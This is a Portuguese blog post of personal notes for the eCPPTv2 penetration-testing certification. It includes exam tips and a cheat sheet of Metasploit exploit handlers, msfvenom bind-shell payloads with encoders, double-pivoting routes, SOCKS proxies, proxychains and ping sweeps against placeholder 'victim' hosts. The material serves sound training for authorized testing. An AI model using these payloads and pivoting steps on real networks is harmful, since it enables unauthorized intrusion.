ECPPTV2 - APRENDIZADOS
----------------------------------------------------------------
offensive think :: artigo técnico em formato zine / nfo
----------------------------------------------------------------
titulo : eCPPTv2 - aprendizados
autor : offensive think
data : Mon, May 29, 2023
tags : certifications
----------------------------------------------------------------
--> https://www.offensivethink.com/posts/ecpptv2.html <--
---[ INDEX ]------------------------------------------------------------
0 - INTRO
1 - SOBRE A CERTIFICAÇÃO
2 - MINHAS RECOMENDAÇÕES
3 - CHEAT SHEETS
4 - METERPRETERS
5 - PIVOTING
6 - Powershell e Comandos Windows
7 - OUTROS CHEATSHEETS
8 - OUTROS LINKS INTERESSANTES
---[ 0x00 - INTRO ]-----------------------------------------------------
Desta vez vou escrever um pouco sobre minha experiência com esta certificação pois fiquei pensando que alguns pontos podem vir a ajudar outros que estejam no mesmo caminho.
Muitas postagens são no sentido de detalhar o dia a dia da prova, o que usou para estudo, como é a prova, etc. Entendo que estes ajudam também, mas essa não é minha intenção, mas sim, relatar algumas experiências de forma direta que podem ajudar a quem está buscando esta certificação.
---[ 0x01 - SOBRE A CERTIFICAÇÃO ]--------------------------------------
Hoje eu possuo certificações da EC COUNCIL (CEH v10 ANSI e PRACTICAL) , da Offensive Security ( OSCE ) e da eLearn ( eWPT e agora eCPPTv2 ).
Gosto bastante das certificações da eLearn por elas serem mais próximas de um trabalho real de um pentest do que um CTF/Desafio onde se busca provar que conseguiu determinado objetivo através de flags.
Nas certificações da eLearn que fiz até agora a pressão está, não em atingir um objetivo em tanto tempo , como as da Offensive Security, mas sim em não saber onde termina. Você tem 7 dias para fazer a prova mas em nenhum momento é dito quantas vulnerabilidades você achará pelo caminho, logo, tem que enumerar e testar tudo. Afinal, é um pentest onde você foi pago para reportar as vulnerabilidades presentes!
Um dos pontos que não gostei é que, em uma prova que exige explorar várias máquinas, em caso de instabilidade de um serviço de uma máquina, ter que reiniciar todo o lab e consequentemente todas as máquinas e ter que explorar tudo de novo, é bem chato.
---[ 0x02 - MINHAS RECOMENDAÇÕES ]--------------------------------------
- Experiências pessoais, são experiências pessoais. Sempre bom lembrar que as experiências de cada um tem influência direta no quanto e como cada um estudou para obter a certificação. Leve isso em conta. Pense se você tem domínio ou não sobre os assuntos cobrados na certificação.
- Ao conectar no LAB da prova você deverá baixar um arquivo .ovpn de conexão de VPN. A VPN está configurada para usar a cifra AES-128-CBC e o arquivo está ainda no padrão antigo do openvpn. Abra o arquivo, e substitua cipher AES-128-CBC por data-ciphers AES-128-CBC.
- *>>>* *DOCUMENTE seu passo a passo!* *<<<* Faça um passo a passo de todos os comandos usados para comprometer uma máquina e depois escalar privilégios. Caso você precise começar do zero (reiniciar seu kali, reiniciar o metasploit, resetar o lab) você voltará ao estado atual rapidamente.
Exemplo de exploração, criação de rota para outra rede através da sessão do meterpreter e definição de um socks proxy , no metasploit:
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set LPORT 1337
set RHOST 1.1.1.1
exploit
background
route add 2.2.2.2/24 1
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
exploit -j
- Se prepare. É de comum conhecimento que você enfrentará um desafio de Buffer Overflow. Não é nada de outro mundo, mas não custa se preparar pra verificar se o conhecimento está “embaixo das pontas dos dedos”. Baixe e configure uma VM windows 7 com o Immunity Debugger, python 2.7 e o módulo mona.py. Baixe e configure uma VM com o kali e todas as ferramentas que você pensa em utilizar. Verifique se tem integração de COPIAR e COLAR , pastas compartilhas, etc. entre elas e o seu host para facilitar a troca de arquivos e conteúdos.Para as máquinas virtuais eu usei o Vagrant (https://www.vagrantup.com/). Aconselho a dar uma olhada pois facilita muito a instalação do ambiente.Kali : box kalilinux/rollingWindows 7: box datacastle/windows7
- Leve em consideração que a prova é antiga, isso não quer dizer que não aborde temas atuais, mas que as vezes podem haver incompatibilidades de ferramentas. Por exemplo, existem alguns relatos de problemas encontrados onde a pessoa resolveu fazendo downgrade para o Metasploit 5. O script pimpmykali ( ‣ ) fazia downgrade mas depois das últimas atualizações não faz mais. Uma possibilidade, seria instalar uma VM do kali linux antiga que tivesse o Metasploit 5. Eu utilizei o metasploit 6 com o kali mais atual, no momento da escrita deste artigo, kali 2023.2, e tudo funcionou corretamente. Um detalhe importante: No Metasploit 5 o módulo para criar um server socks 4 é o auxiliary/server/socks4aNo Metasploit 6 o módulo para criar um server socks 4 é o auxiliary/server/socks_proxy onde você deve definir a opção SET VERSION 4a.
- Diferentemente das provas da Offensive, o metasploit/meterpreter são seus amigos. Dá pra fazer quase tudo apenas com eles. ;D
- Você precisará usar pivoteamento, isso também já é de conhecimento público. Basta o metasploit. O artigo https://pentest.blog/explore-hidden-networks-with-double-pivoting/ é bem interessante. Em resumo. Com o metasploit você consegue, usando o meterpreter, criar rotas e proxies para outras redes. O passo a passo a ser seguido de forma geral é:A- Comprometa a máquina B - Crie uma rota para a rede que você deseja usando a sessão meterpreter como pivotC - Suba um Socks Proxy local para, usando o proxychains, poder usar outras ferramentas (nmap, nc, etc.) que não estão no metasploit.
- Lembre-se , pivotear exige que toda a comunicação seja possível. Sessões meterpreter utilizadas no roteamento podem cair ou estarem “apenas parecendo ok” e fazer a comunicação falharA conexão VPN pode ficar instável Usar o Three-way-handshake (-sT no nmap) quando tiver escaneando através de Pivots.
- Se a conexão a um host está falhando, se o que estava funcionando não funciona mais, as vezes não é necessário resetar o LAB. Observe se a VPN está ativa. Observe se os túneis (rotas e socks proxy) estão ativos. Tente antes sair e abrir de novo o Metasploit.
- Ao explorar um serviço e ele cair, se ele estiver gerando outros processos e thread, pode ser que ele “se recupere”. Aguarde e teste de novo. Talvez você não precise reiniciar o lab.
- *Lembre-se, a prova tenta simular um ambiente corporativo real! *Existe firewall habilitado na máquina ? Você está tentando conectar em porta que deveria estar aberta e não consegue ? Firewall ? Todos os elementos que fecham a rota até o destino estão estáveis ? Lembre-se! Um shell reverso só é possível se o destino consegue conectar em sua máquina! Consegue ?
---[ 0x03 - CHEAT SHEETS ]----------------------------------------------
Algumas anotações de comandos que fiz para ter acesso rápido e alguns links de cheat sheets que achei interessante e podem ajudar.
---[ 0x04 - METERPRETERS ]----------------------------------------------
kali> msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1337 -f elf > meterpreter_bind_1337
kali> msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -a x86 -e x86/shikata_ga_nai EXITFUNC=process --platform windows -b "\x00" -f python
---[ 0x05 - PIVOTING ]--------------------------------------------------
:: metasploit
Observe o prompt! Os comandos são executados no prompt do metasploit e não no meterpreter!
Exemplo geral:
meterpreter> background
msf> route add <NETWORK>/<MASK> <SESSION ID>
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j
Exemplo prático para duplo pivoteamento.
KALI MACHINE VPN ADDRESS: 192.168.0.2
VITIMA 1: 10.10.10.1
VITIMA 2: 10.150.15.1 (acessível apenas através da VITIMA 1)
VITIMA 3: 10.250.25.1 (acessivel apenas através da VITIMA 2)
... EXPLORAR A VITIMA 1 ...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.10.10.1
msf> set LPORT 1337
msf> exploit
... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 2...
meterpreter> background
msf> route add 10.150.15.0/24 1
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j
... EXPLORAR A VITIMA 2 ...
... É possível pois o metasploit usará automaticamente o pivot da vitima 1...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.150.15.1
msf> set LPORT 21337
msf> exploit
... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 3...
meterpreter> background
msf> route add 10.250.25.0/24 2
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1081 #(atentar para a mudança da porta)
msf> exploit -j
... No linux usando o nmap para escanear a vitima 3...
root# proxychains nmap -sT -Pn -n 10.250.25.1
:: proxychains
Alterar o arquivo /etc/proxychains4.conf:
- substituir strict chain por dynamic chain (isso é para usar mais de um proxy para duplo pivoteamento)
- Adicionar para cada Socks Proxy criado socks4 127.0.0.1 <PORTA>
Exemplo do arquivo de configuração
dynamic chain
socks4 127.0.0.1 1080
socks4 127.0.0.1 1081
Usando o proxychains com o nmap
root> proxychain nmap -sT -Pn -n 10.10.10.10
---[ 0x06 - POWERSHELL E COMANDOS WINDOWS ]-----------------------------
#PORTAS ABERTAS
netstat -tupan
#HABILITAR TELNET NO WINDOWS 7
pkgmgr /iu:”TelnetClient”
#PING SWEEP WINDOWS
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.
---[ 0x07 - OUTROS CHEATSHEETS ]----------------------------------------
- https://github.com/c0ffee0vrflw/eCPPTNotes
- https://github.com/sergiovks/eCPPTv2-Personal-Cheatsheet-ESP-
- https://github.com/PopLabSec/eCPPTv2-Notes-AIO
---[ 0x08 - OUTROS LINKS INTERESSANTES ]--------------------------------
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://www.hdysec.com/double-pivoting-both-metasploit-and-manual/
https://pentest.blog/explore-hidden-networks-with-double-pivoting/
https://www.hdysec.com/double-pivoting-both-metasploit-and-manual/
https://github.com/spencerdodd/kernelpop
https://notchxor.github.io/oscp-notes/8-cheatsheets/msfvenom/
https://www.rubyguides.com/2012/02/cli-ninja-ping-sweep/
https://github.com/Arvanaghi/SessionGopher
https://www.sans.org/blog/offensive-powershell-metasploit-meterpreter/
https://github.com/cris-m/Buffer-Overflow-Exploit-Development/blob/main/assets/documentations/fuzzing.md
https://github.com/F-Masood/Exploiting_StackBased_BufferOverflows
https://securitytutorials.co.uk/scanning-and-port-forwarding-through-a-meterpreter-session/
https://www.secjuice.com/windows-post-exploitation-enabling-rdp/
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://www.jamescarroll.me/blog/pivoting-with-meterpreter-and-proxychains
https://www.hackplayers.com/2018/04/taller-de-pivoting-metasploit.html
---[ EOF ]--------------------------------------------------------------
offensive think / 2026